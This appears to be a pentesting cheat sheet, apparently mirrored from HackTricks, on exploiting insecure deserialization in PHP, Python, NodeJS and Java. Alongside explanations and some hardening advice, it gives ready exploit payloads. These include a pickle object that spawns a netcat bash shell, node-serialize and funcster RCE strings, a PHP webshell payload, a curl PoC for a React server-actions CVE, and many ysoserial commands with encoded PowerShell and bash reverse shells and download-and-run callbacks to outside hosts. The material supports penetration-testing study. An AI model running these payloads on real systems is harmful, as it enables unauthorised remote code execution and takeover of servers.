daemon-sec-cheatsheet

overview.md (79241B)

---

 ---
 title: "Deserialization"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/deserialization/README.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/README.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: true
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # Deserialization
 
 ## Basic Information
 
 **Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state.
 
 **Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object.
 
 Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process.
 
 ## PHP
 
 In PHP, specific magic methods are utilized during the serialization and deserialization processes:
 
 - `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks.
 - `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
 - `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`.
 - `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections.
 - `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object.
 
 ```php
 <?php
 class test {
     public $s = "This is a test";
     public function displaystring(){
         echo $this->s.'<br />';
     }
     public function __toString()
     {
         echo '__toString method called';
     }
     public function __construct(){
         echo "__construct method called";
     }
     public function __destruct(){
         echo "__destruct method called";
     }
     public function __wakeup(){
         echo "__wakeup method called";
     }
     public function __sleep(){
         echo "__sleep method called";
         return array("s"); #The "s" makes references to the public attribute
     }
 }
 
 $o = new test();
 $o->displaystring();
 $ser=serialize($o);
 echo $ser;
 $unser=unserialize($ser);
 $unser->displaystring();
 
 /*
 php > $o = new test();
 __construct method called
 __destruct method called
 php > $o->displaystring();
 This is a test<br />
 
 php > $ser=serialize($o);
 __sleep method called
 
 php > echo $ser;
 O:4:"test":1:{s:1:"s";s:14:"This is a test";}
 
 php > $unser=unserialize($ser);
 __wakeup method called
 __destruct method called
 
 php > $unser->displaystring();
 This is a test<br />
 */
 ?>
 ```
 
 If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
 
 > [!WARNING]
 > The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
 >
 > ```php
 > class MyClass {
 >    private $property;
 >
 >    public function __unserialize(array $data): void {
 >        $this->property = $data['property'];
 >        // Perform any necessary tasks upon deserialization.
 >    }
 > }
 > ```
 
 You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
 
 ### PHP Deserial + Autoload Classes
 
 You could abuse the PHP autoload functionality to load arbitrary php files and more:
 
 
 [Php Deserialization + Autoload Classes](/hacktricks/pentesting-web/deserialization/php-deserialization-autoload-classes)
 
 ### Laravel Livewire Hydration Chains
 
 Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without `APP_KEY`) to reach Laravel Queueable/SerializableClosure sinks:
 
 [Livewire Hydration Synthesizer Abuse](/hacktricks/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse)
 
 ### Serializing Referenced Values
 
 If for some reason you want to serialize a value as a **reference to another value serialized** you can:
 
 ```php
 <?php
 class AClass {
     public $param1;
     public $param2;
 }
 
 $o = new WeirdGreeting;
 $o->param1 =& $o->param22;
 $o->param = "PARAM";
 $ser=serialize($o);
 ```
 
 ### Preventing PHP Object Injection with `allowed_classes`
 
 > [!INFO]
 > Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated.
 
 `unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise.  Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option:
 
 ```php
 // NEVER DO THIS – full object instantiation
 $object = unserialize($userControlledData);
 
 // SAFER – disable object instantiation completely
 $object = unserialize($userControlledData, [
     'allowed_classes' => false    // no classes may be created
 ]);
 
 // Granular – only allow a strict white-list of models
 $object = unserialize($userControlledData, [
     'allowed_classes' => [MyModel::class, DateTime::class]
 ]);
 ```
 
 If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE).
 
 #### Real-world example: Everest Forms (WordPress) CVE-2025-52709
 
 The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:<sup>[[4]](#references)</sup>
 
 ```php
 function evf_maybe_unserialize($data, $options = array()) {
     if (is_serialized($data)) {
         if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
             // SAFE branch (PHP ≥ 7.1)
             $options = wp_parse_args($options, array('allowed_classes' => false));
             return @unserialize(trim($data), $options);
         }
         // DANGEROUS branch (PHP < 7.1)
         return @unserialize(trim($data));
     }
     return $data;
 }
 ```
 
 On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like:
 
 ```text
 O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
 ```
 
 As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution.
 
 **Take-aways**
 1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`.
 2. Audit defensive wrappers – they often forget about the legacy PHP branches.
 3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly.
 
 ---
 
 ### PHPGGC (ysoserial for PHP)
 
 [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\
 Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\
 So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGGC**) some possible gadget you could abuse.
 
 ### phar:// metadata deserialization
 
 If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
 For more information read the following post:
 
 
 [Phar Deserialization](/hacktricks/pentesting-web/file-inclusion/phar-deserialization)
 
 ## Python
 
 ### **Pickle**
 
 When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\
 When exploited, server could return an error.
 
 ```python
 import pickle, os, base64
 class P(object):
     def __reduce__(self):
         return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
 print(base64.b64encode(pickle.dumps(P())))
 ```
 
 Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
 
 For more information about escaping from **pickle jails** check:
 
 
 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
 
 ### Yaml **&** jsonpickle
 
 The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
 
 
 [Python Yaml Deserialization](/hacktricks/pentesting-web/deserialization/python-yaml-deserialization)
 
 ### Class Pollution (Python Prototype Pollution)
 
 
 [Class Pollution Pythons Prototype Pollution](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
 
 ## NodeJS
 
 ### JS Magic Functions
 
 JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
 If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
 
 Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._<sup>[[5]](#references)</sup>
 
 ```javascript
 // If you can compromise p (returned object) to be a promise
 // it will be executed just because it's the return object of an async function:
 async function test_resolve() {
   const p = new Promise((resolve) => {
     console.log("hello")
     resolve()
   })
   return p
 }
 
 async function test_then() {
   const p = new Promise((then) => {
     console.log("hello")
     return 1
   })
   return p
 }
 
 test_ressolve()
 test_then()
 //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
 ```
 
 ### `__proto__` and `prototype` pollution
 
 If you want to learn about this technique **take a look to the following tutorial**:
 
 
 [Nodejs Proto Prototype Pollution](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview)
 
 ### [node-serialize](https://www.npmjs.com/package/node-serialize)
 
 This library allows to serialise functions. Example:
 
 ```javascript
 var y = {
   rce: function () {
     require("child_process").exec("ls /", function (error, stdout, stderr) {
       console.log(stdout)
     })
   },
 }
 var serialize = require("node-serialize")
 var payload_serialized = serialize.serialize(y)
 console.log("Serialized: \n" + payload_serialized)
 ```
 
 The **serialised object** will looks like:
 
 ```bash
 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
 ```
 
 You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
 
 Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
 
 ![proto and prototype pollution - node-serialize: Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28351%29.png)
 
 ![proto and prototype pollution - node-serialize: Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28446%29.png)
 
 As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
 
 However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\
 Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\
 In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code:
 
 ```javascript
 var serialize = require("node-serialize")
 var test = {
   rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
 }
 serialize.unserialize(test)
 ```
 
 As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example:
 
 ```javascript
 var serialize = require("node-serialize")
 var test =
   "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
 serialize.unserialize(test)
 ```
 
 You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.<sup>[[6]](#references)</sup>
 
 ### [funcster](https://www.npmjs.com/package/funcster)
 
 A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used.
 
 Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet:
 
 ```javascript
 funcster = require("funcster")
 //Serialization
 var test = funcster.serialize(function () {
   return "Hello world!"
 })
 console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
 
 //Deserialization with auto-execution
 var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
 funcster.deepDeserialize(desertest1)
 var desertest2 = {
   __js_function: 'this.constructor.constructor("console.log(1111)")()',
 }
 funcster.deepDeserialize(desertest2)
 var desertest3 = {
   __js_function:
     "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
 }
 funcster.deepDeserialize(desertest3)
 ```
 
 The Acunetix research contains additional analysis of this `funcster` escape.<sup>[[7]](#references)</sup>
 
 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
 
 The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data:
 
 ```javascript
 function deserialize(serializedJavascript) {
   return eval("(" + serializedJavascript + ")")
 }
 ```
 
 If this function is used to deserialize objects you can **easily exploit it**:
 
 ```javascript
 var serialize = require("serialize-javascript")
 //Serialization
 var test = serialize(function () {
   return "Hello world!"
 })
 console.log(test) //function() { return "Hello world!" }
 
 //Deserialization
 var test =
   "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
 deserialize(test)
 ```
 
 The same research also discusses why implementing deserialization with `eval` makes this otherwise serialization-only library exploitable.<sup>[[7]](#references)</sup>
 
 ### Cryo library
 
 In the following pages you can find information about how to abuse this library to execute arbitrary commands:<sup>[[7]](#references)</sup><sup>[[8]](#references)</sup>
 
 - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)<sup>[[7]](#references)</sup>
 - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)<sup>[[8]](#references)</sup>
 
 ### React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
 
 React Server Components (RSC) rely on `react-server-dom-webpack` (RSDW) to decode server action submissions that are sent as `multipart/form-data`. Each action submission contains:
 
 - `$ACTION_REF_<n>` parts that reference the action being invoked.
 - `$ACTION_<n>:<m>` parts whose body is JSON such as `{"id":"module-path#export","bound":[arg0,arg1,...]}`.
 
 In version **19.2.0** the `decodeAction(formData, serverManifest)` helper blindly trusts both the **`id` string** (selecting which module export to call) and the **`bound` array** (the arguments). If an attacker can reach the endpoint that forwards requests to `decodeAction`, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
 
 1. **Learn the action identifier.** Bundle output, error traces or leaked manifests typically reveal strings like `app/server-actions#generateReport`.
 2. **Recreate the multipart payload.** Craft a `$ACTION_REF_0` part and a `$ACTION_0:0` JSON body carrying the identifier and arbitrary arguments.
 3. **Let `decodeAction` dispatch it.** The helper resolves the module from `serverManifest`, imports the export, and returns a callable that the server immediately executes.
 
 Example payload hitting `/formaction`:
 
 ```http
 POST /formaction HTTP/1.1
 Host: target
 Content-Type: multipart/form-data; boundary=----BOUNDARY
 
 ------BOUNDARY
 Content-Disposition: form-data; name="$ACTION_REF_0"
 
 ------BOUNDARY
 Content-Disposition: form-data; name="$ACTION_0:0"
 
 {"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
 ------BOUNDARY--
 ```
 
 Or with curl:
 
 ```bash
 curl -sk -X POST http://target/formaction \
   -F '$ACTION_REF_0=' \
   -F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
 ```
 
 The `bound` array directly populates the server-action parameters. In the vulnerable lab the gadget looks like:
 
 ```javascript
 const { exec } = require("child_process");
 const util = require("util");
 const pexec = util.promisify(exec);
 
 async function generateReport(project, format) {
   const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
   const { stdout } = await pexec(cmd);
   return stdout;
 }
 ```
 
 Supplying `format = "pdf & whoami"` makes `/bin/sh -c` run the legitimate report generator and then `whoami`, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the `bound` data.
 
 An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.<sup>[[9]](#references)</sup>
 
 ## Java - HTTP
 
 In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
 
 ### Fingerprints
 
 #### White Box
 
 To identify potential serialization vulnerabilities in the codebase search for:
 
 - Classes that implement the `Serializable` interface.
 - Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions.
 
 Pay extra attention to:
 
 - `XMLDecoder` utilized with parameters defined by external users.
 - `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
 - `ObjectInputStream` coupled with the `readObject` method.
 - Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`.
 - `ObjectInputStream.readUnshared`.
 - General use of `Serializable`.
 
 #### Black Box
 
 For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`):
 
 - Hexadecimal pattern: `AC ED 00 05`.
 - Base64 pattern: `rO0`.
 - HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
 - Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
 - Base64 pattern indicating prior compression: `H4sIA`.
 - Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](/hacktricks/pentesting-web/deserialization/java-jsf-viewstate-faces-deserialization).
 
 ```text
 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
 ```
 
 ### Check if vulnerable
 
 If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](/hacktricks/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject), [**Java DNS Deserialization**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe), and [**CommonsCollection1 Payload**](/hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload).
 
 #### SignedObject-gated deserialization and pre-auth reachability
 
 Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth.<sup>[[10]](#references)</sup>
 
 For a concrete case study with requests, IoCs, and hardening guidance, see:
 
 [Java Signedobject Gated Deserialization](/hacktricks/pentesting-web/deserialization/java-signedobject-gated-deserialization)
 
 #### White Box Test
 
 You can check if there is installed any application with known vulnerabilities.<sup>[[11]](#references)</sup>
 
 ```bash
 find . -iname "*commons*collection*"
 grep -R InvokeTransformer .
 ```
 
 You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
 You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
 When running **Gadget Inspector** (after building it), expect many warnings and errors while it analyzes the target and let it finish. It writes its findings to _gadgetinspector/gadget-results/gadget-chains-year-month-day-hour-min.txt_. Note that **Gadget Inspector does not create an exploit, and its results may contain false positives**.<sup>[[12]](#references)</sup><sup>[[13]](#references)</sup>
 
 #### Black Box Test
 
 Using the Burp extension [**gadgetprobe**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
 [**Read this to learn more about GadgetProbe**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#gadgetprobe)**.**\
 GadgetProbe is focused on **`ObjectInputStream` deserializations**.<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup>
 
 Using Burp extension [**Java Deserialization Scanner**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
 [**Read this to learn more about Java Deserialization Scanner.**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#java-deserialization-scanner)\
 Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
 
 You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
 [**You can find installation and usage details in Freddy's repository.**](https://github.com/nccgroup/freddy)<sup>[[50]](#references)</sup>
 
 **Serialization Test**
 
 Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
 If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
 
 ### **Exploit**
 
 #### **ysoserial**
 
 The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).<sup>[[16]](#references)</sup><sup>[[17]](#references)</sup>\
 Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
 I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
 
 ```bash
 # PoC to make the application perform a DNS req
 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
 
 # PoC RCE in Windows
 # Ping
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
 # Time, I noticed the response too longer when this was used
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
 # Create File
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
 # DNS request
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
 # HTTP request (+DNS)
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
 ## The last HTTP request encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
 ## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
 # Reverse Shell
 ## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
 
 #PoC RCE in Linux
 # Ping
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
 # Time
 ## Using time in bash I didn't notice any difference in the timing of the response
 # Create file
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
 # DNS request
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
 # HTTP request (+DNS)
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
 # Reverse shell
 ## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
 
 # Base64 encode payload in base64
 base64 -w0 payload
 ```
 
 When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
 
 Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
 
 ```python
 import os
 import base64
 
 # You may need to update the payloads
 payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
 def generate(name, cmd):
     for payload in payloads:
         final = cmd.replace('REPLACE', payload)
         print 'Generating ' + payload + ' for ' + name + '...'
         command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
         result = command.read()
         command.close()
         encoded = base64.b64encode(result)
         if encoded != "":
             open(name + '_intruder.txt', 'a').write(encoded + '\n')
 
 generate('Windows', 'ping -n 1 win.REPLACE.server.local')
 generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 ```
 
 #### serialkillerbypassgadgets
 
